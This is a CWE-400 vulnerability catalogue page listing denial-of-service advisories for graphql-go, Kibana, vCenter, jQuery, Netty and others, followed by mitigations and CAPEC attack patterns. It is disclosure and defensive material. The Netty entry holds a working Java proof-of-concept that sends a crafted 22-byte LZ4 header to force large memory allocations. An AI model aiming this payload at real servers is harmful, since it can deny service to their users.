CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5435 vulnerabilities reference this CWE, most recent first.
GHSA-MH3M-8C74-74XH
Vulnerability from github – Published: 2022-01-27 15:28 – Updated: 2022-01-31 21:59Impact
This is a DoS vulnerability that is possible due to a bug in the library that would allow an attacker with specifically designed queries to cause stack overflow panics. Any user with access to the GraphQL handler can send these queries and cause stack overflows. This in turn could potentially compromise the ability of the server to serve data to its users. To make things worse the only mitigation in affected versions creates opportunities for other attacks. This issue is only available if you are using graphql.MaxDepth option in your schema (which is highly recommended in most cases).
Patches
The issue has been patched in version v1.3.0. We have been trying to maintain backwards compatibility and avoid breaking changes so upgrading should not be problematic.
Workarounds
The best workaround is to patch to a version greater than or equal to v1.3.0.
Otherwise, the only workaround in versions prior to v1.3.0 is to disable the graphql.MaxDepth option from your schema. Unfortunately, this could potentially create opportunities for other attacks.
References
There are no references or links. This issue was reported privately and was fixed before creating this Security Advisory.
For more information
If you have any questions or comments feel free to reach out to @pavelnikolov or @tony on the Gopher Slack.
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"details": "### Impact\nThis is a DoS vulnerability that is possible due to a bug in the library that would allow an attacker with specifically designed queries to cause stack overflow panics. Any user with access to the GraphQL handler can send these queries and cause stack overflows. This in turn could potentially compromise the ability of the server to serve data to its users. To make things worse the only mitigation in affected versions creates opportunities for other attacks. This issue is only available if you are using `graphql.MaxDepth` option in your schema (which is highly recommended in most cases).\n\n### Patches\nThe issue has been patched in version `v1.3.0`. We have been trying to maintain backwards compatibility and avoid breaking changes so upgrading should not be problematic. \n\n### Workarounds\nThe best workaround is to patch to a version greater than or equal to `v1.3.0`. \nOtherwise, the only workaround in versions prior to `v1.3.0` is to disable the `graphql.MaxDepth` option from your schema. Unfortunately, this could potentially create opportunities for other attacks.\n\n### References\nThere are no references or links. This issue was reported privately and was fixed before creating this Security Advisory.\n\n### For more information\nIf you have any questions or comments feel free to reach out to @pavelnikolov or @tony on the Gopher Slack.",
"id": "GHSA-mh3m-8c74-74xh",
"modified": "2022-01-31T21:59:33Z",
"published": "2022-01-27T15:28:06Z",
"references": [
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"url": "https://github.com/graph-gophers/graphql-go/security/advisories/GHSA-mh3m-8c74-74xh"
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21708"
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"url": "https://github.com/graph-gophers/graphql-go/commit/eae31ca73eb3473c544710955d1dbebc22605bfe"
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GHSA-MH68-7CW5-7M9V
Vulnerability from github – Published: 2025-01-28 00:32 – Updated: 2026-04-02 21:32An input validation issue was addressed. This issue is fixed in visionOS 2.3, iOS 18.3 and iPadOS 18.3, macOS Sequoia 15.3, watchOS 11.3, tvOS 18.3. An attacker on the local network may be able to cause unexpected system termination or corrupt process memory.
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"nvd_published_at": "2025-01-27T22:15:17Z",
"severity": "CRITICAL"
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"details": "An input validation issue was addressed. This issue is fixed in visionOS 2.3, iOS 18.3 and iPadOS 18.3, macOS Sequoia 15.3, watchOS 11.3, tvOS 18.3. An attacker on the local network may be able to cause unexpected system termination or corrupt process memory.",
"id": "GHSA-mh68-7cw5-7m9v",
"modified": "2026-04-02T21:32:08Z",
"published": "2025-01-28T00:32:14Z",
"references": [
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"type": "WEB",
"url": "https://support.apple.com/en-us/122066"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122068"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122071"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122072"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122073"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/122374"
},
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"type": "WEB",
"url": "https://support.apple.com/en-us/122375"
},
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"url": "http://seclists.org/fulldisclosure/2025/Jan/12"
},
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"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jan/13"
},
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"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jan/15"
},
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"url": "http://seclists.org/fulldisclosure/2025/Jan/19"
}
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GHSA-MHCH-RJ8X-4V2P
Vulnerability from github – Published: 2024-12-12 03:33 – Updated: 2024-12-12 03:33Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability
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"aliases": [
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"nvd_published_at": "2024-12-12T02:04:40Z",
"severity": "HIGH"
},
"details": "Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability",
"id": "GHSA-mhch-rj8x-4v2p",
"modified": "2024-12-12T03:33:05Z",
"published": "2024-12-12T03:33:05Z",
"references": [
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"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49129"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49129"
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"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MHGF-JQHM-P7P3
Vulnerability from github – Published: 2026-05-28 21:32 – Updated: 2026-05-28 21:32Uncontrolled Resource Consumption (CWE-400) in Kibana can lead to denial of service via Excessive Allocation (CAPEC-130). An authenticated user can send a specially crafted compressed request payload that is processed prior to authorization checks, causing excessive memory and CPU resource consumption that can result in a Kibana instance becoming unresponsive or crashing.
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"affected": [],
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"nvd_published_at": "2026-05-28T21:16:30Z",
"severity": "MODERATE"
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"details": "Uncontrolled Resource Consumption (CWE-400) in Kibana can lead to denial of service via Excessive Allocation (CAPEC-130). An authenticated user can send a specially crafted compressed request payload that is processed prior to authorization checks, causing excessive memory and CPU resource consumption that can result in a Kibana instance becoming unresponsive or crashing.",
"id": "GHSA-mhgf-jqhm-p7p3",
"modified": "2026-05-28T21:32:05Z",
"published": "2026-05-28T21:32:05Z",
"references": [
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{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-19-16-9-3-5-9-4-2-security-update-esa-2026-35/386554"
}
],
"schema_version": "1.4.0",
"severity": [
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"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
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]
}
GHSA-MHM3-QVQ8-3FC6
Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-07-13 00:01The vCenter Server contains a denial-of-service vulnerability due to improper XML entity parsing. A malicious actor with non-administrative user access to the vCenter Server vSphere Client (HTML5) or vCenter Server vSphere Web Client (FLEX/Flash) may exploit this issue to create a denial-of-service condition on the vCenter Server host.
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"affected": [],
"aliases": [
"CVE-2021-21992"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-22T19:15:00Z",
"severity": "MODERATE"
},
"details": "The vCenter Server contains a denial-of-service vulnerability due to improper XML entity parsing. A malicious actor with non-administrative user access to the vCenter Server vSphere Client (HTML5) or vCenter Server vSphere Web Client (FLEX/Flash) may exploit this issue to create a denial-of-service condition on the vCenter Server host.",
"id": "GHSA-mhm3-qvq8-3fc6",
"modified": "2022-07-13T00:01:08Z",
"published": "2022-05-24T19:15:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21992"
},
{
"type": "WEB",
"url": "https://www.vmware.com/security/advisories/VMSA-2021-0020.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MHPP-875W-9CPV
Vulnerability from github – Published: 2018-01-22 13:32 – Updated: 2025-09-02 22:35Affected versions of jquery use a lowercasing logic on attribute names. When given a boolean attribute with a name that contains uppercase characters, jquery enters into an infinite recursion loop, exceeding the call stack limit, and resulting in a denial of service condition.
Recommendation
Update to version 3.0.0 or later.
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"ecosystem": "RubyGems",
"name": "jquery-rails"
},
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"aliases": [
"CVE-2016-10707"
],
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"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:46:22Z",
"nvd_published_at": "2018-01-18T23:29:00Z",
"severity": "HIGH"
},
"details": "Affected versions of `jquery` use a lowercasing logic on attribute names. When given a boolean attribute with a name that contains uppercase characters, `jquery` enters into an infinite recursion loop, exceeding the call stack limit, and resulting in a denial of service condition.\n\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.",
"id": "GHSA-mhpp-875w-9cpv",
"modified": "2025-09-02T22:35:01Z",
"published": "2018-01-22T13:32:42Z",
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"url": "https://github.com/jquery/jquery/issues/3133"
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"url": "https://github.com/jquery/jquery/issues/3133#issuecomment-358978489"
},
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"url": "https://github.com/jquery/jquery/pull/3134"
},
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},
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"url": "https://github.com/jquery/jquery"
},
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"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/jquery-rails/CVE-2016-10707.yml"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/npm:jquery:20160529"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/330"
}
],
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}
],
"summary": "Denial of Service in jquery"
}
GHSA-MHPQ-9638-X6PW
Vulnerability from github – Published: 2023-12-20 20:31 – Updated: 2026-02-03 17:53Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6294-6rgp-fr7r. This link is maintained to preserve external references.
Original Description
An attacker controlled input of a PBES2 encrypted JWE blob can have a very large p2c value that, when decrypted, produces a denial-of-service.
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"url": "https://github.com/dvsekhvalnov/jose2go/commit/a4584e9dd7128608fedbc67892eba9697f0d5317"
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GHSA-MHPV-HFP2-2648
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05Uncontrolled Resource Consumption vulnerability in Mitsubishi Electric MELSEC iQ-R series CPU modules (R00/01/02CPU all versions, R04/08/16/32/120(EN)CPU all versions, R08/16/32/120SFCPU all versions, R08/16/32/120PCPU all versions, R08/16/32/120PSFCPU all versions) allows a remote unauthenticated attacker to prevent legitimate clients from connecting to the MELSOFT transmission port (TCP/IP) by not closing a connection properly, which may lead to a denial of service (DoS) condition.
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"affected": [],
"aliases": [
"CVE-2021-20591"
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"cwe_ids": [
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"github_reviewed_at": null,
"nvd_published_at": "2021-06-11T16:15:00Z",
"severity": "HIGH"
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"details": "Uncontrolled Resource Consumption vulnerability in Mitsubishi Electric MELSEC iQ-R series CPU modules (R00/01/02CPU all versions, R04/08/16/32/120(EN)CPU all versions, R08/16/32/120SFCPU all versions, R08/16/32/120PCPU all versions, R08/16/32/120PSFCPU all versions) allows a remote unauthenticated attacker to prevent legitimate clients from connecting to the MELSOFT transmission port (TCP/IP) by not closing a connection properly, which may lead to a denial of service (DoS) condition.",
"id": "GHSA-mhpv-hfp2-2648",
"modified": "2022-05-24T19:05:05Z",
"published": "2022-05-24T19:05:05Z",
"references": [
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"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20591"
},
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"type": "WEB",
"url": "https://jvn.jp/vu/JVNVU98060539/index.html"
},
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"type": "WEB",
"url": "https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2021-003_en.pdf"
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"schema_version": "1.4.0",
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GHSA-MJ35-2RGF-CV8P
Vulnerability from github – Published: 2024-04-03 16:46 – Updated: 2025-04-04 01:10Impact
DOS by Atom exhaustion is possible by calling oidcc_provider_configuration_worker:get_provider_configuration/1 or oidcc_provider_configuration_worker:get_jwks/1.
Since the name is usually provided as a static value in the application using oidcc, this is unlikely to be exploited.
Details
Example to illustrate the vulnerability.
{ok, Claims} =
oidcc:retrieve_userinfo(
Token,
myapp_oidcc_config_provider,
<<"client_id">>,
<<"client_secret">>,
#{}
)
The vulnerability is present in oidcc_provider_configuration_worker:get_ets_table_name/1.
The function get_ets_table_name is calling erlang:list_to_atom/1.
https://github.com/erlef/oidcc/blob/018dbb53dd752cb1e331637d8e0e6a489ba1fae9/src/oidcc_provider_configuration_worker.erl#L385-L388
There might be a case (Very highly improbable) where the 2nd argument of
oidcc_provider_configuration_worker:get_*/1 is called with a different atom each time which eventually leads to
the atom table filling up and the node crashing.
Patches
Patched in 3.0.2, 3.1.2 & 3.2.0-beta.3
Workarounds
Make sure only valid provider configuration worker names are passed to the functions.
References
- https://erlef.github.io/security-wg/secure_coding_and_deployment_hardening/atom_exhaustion.html
- https://www.cve.org/CVERecord?id=CVE-2024-31209
- https://euvd.enisa.europa.eu/enisa/EUVD-2024-1249
- https://github.com/advisories/GHSA-mj35-2rgf-cv8p
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"severity": "MODERATE"
},
"details": "### Impact\n\nDOS by Atom exhaustion is possible by calling `oidcc_provider_configuration_worker:get_provider_configuration/1` or `oidcc_provider_configuration_worker:get_jwks/1`.\n\nSince the name is usually provided as a static value in the application using `oidcc`, this is unlikely to be exploited.\n\n### Details\n\nExample to illustrate the vulnerability.\n\n```erlang\n{ok, Claims} =\n oidcc:retrieve_userinfo(\n Token,\n myapp_oidcc_config_provider,\n \u003c\u003c\"client_id\"\u003e\u003e,\n \u003c\u003c\"client_secret\"\u003e\u003e,\n #{}\n )\n```\n\nThe vulnerability is present in `oidcc_provider_configuration_worker:get_ets_table_name/1`.\nThe function `get_ets_table_name` is calling `erlang:list_to_atom/1`.\n\nhttps://github.com/erlef/oidcc/blob/018dbb53dd752cb1e331637d8e0e6a489ba1fae9/src/oidcc_provider_configuration_worker.erl#L385-L388\n\nThere might be a case (Very highly improbable) where the 2nd argument of\n`oidcc_provider_configuration_worker:get_*/1` is called with a different atom each time which eventually leads to\nthe atom table filling up and the node crashing.\n\n### Patches\n\nPatched in `3.0.2`, `3.1.2` \u0026 `3.2.0-beta.3`\n\n### Workarounds\n\nMake sure only valid provider configuration worker names are passed to the functions.\n\n### References\n\n* https://erlef.github.io/security-wg/secure_coding_and_deployment_hardening/atom_exhaustion.html\n* https://www.cve.org/CVERecord?id=CVE-2024-31209\n* https://euvd.enisa.europa.eu/enisa/EUVD-2024-1249\n* https://github.com/advisories/GHSA-mj35-2rgf-cv8p",
"id": "GHSA-mj35-2rgf-cv8p",
"modified": "2025-04-04T01:10:32Z",
"published": "2024-04-03T16:46:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/erlef/oidcc/security/advisories/GHSA-mj35-2rgf-cv8p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31209"
},
{
"type": "WEB",
"url": "https://github.com/erlef/oidcc/commit/2f304d877c7e0613d6fd952d7feacbf40dbc355c"
},
{
"type": "WEB",
"url": "https://github.com/erlef/oidcc/commit/48171fb62688fb4eec1ead0884aa501e0aa68649"
},
{
"type": "WEB",
"url": "https://github.com/erlef/oidcc/commit/ac458ed88dc292aad6fa7343f6a53e73c560fb1a"
},
{
"type": "WEB",
"url": "https://erlef.github.io/security-wg/secure_coding_and_deployment_hardening/atom_exhaustion.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/erlef/oidcc"
},
{
"type": "WEB",
"url": "https://github.com/erlef/oidcc/blob/018dbb53dd752cb1e331637d8e0e6a489ba1fae9/src/oidcc_provider_configuration_worker.erl#L385-L388"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenID Connect client Atom Exhaustion in provider configuration worker ets table location"
}
GHSA-MJ4R-2HFC-F8P6
Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42583"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:20:35Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n void test() throws Exception {\n EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap server = new ServerBootstrap()\n .group(workerGroup)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline()\n .addLast(new Lz4FrameDecoder())\n .addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverError.set(cause.getCause());\n } else {\n serverError.set(cause);\n }\n latch.countDown();\n }\n });\n }\n });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n Bootstrap client = new Bootstrap()\n .group(workerGroup)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelActive(ChannelHandlerContext ctx) {\n ByteBuf buf = ctx.alloc().buffer(22, 22);\n buf.writeLong(MAGIC_NUMBER);\n buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n buf.writeIntLE(1);\n buf.writeIntLE(1 \u003c\u003c 25);\n buf.writeIntLE(0);\n buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n ctx.fireChannelActive();\n }\n });\n\n ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n clientChannel.channel().close();\n serverChannel.channel().close();\n } finally {\n workerGroup.shutdownGracefully();\n }\n }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
"id": "GHSA-mj4r-2hfc-f8p6",
"modified": "2026-05-14T20:41:13Z",
"published": "2026-05-07T00:20:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.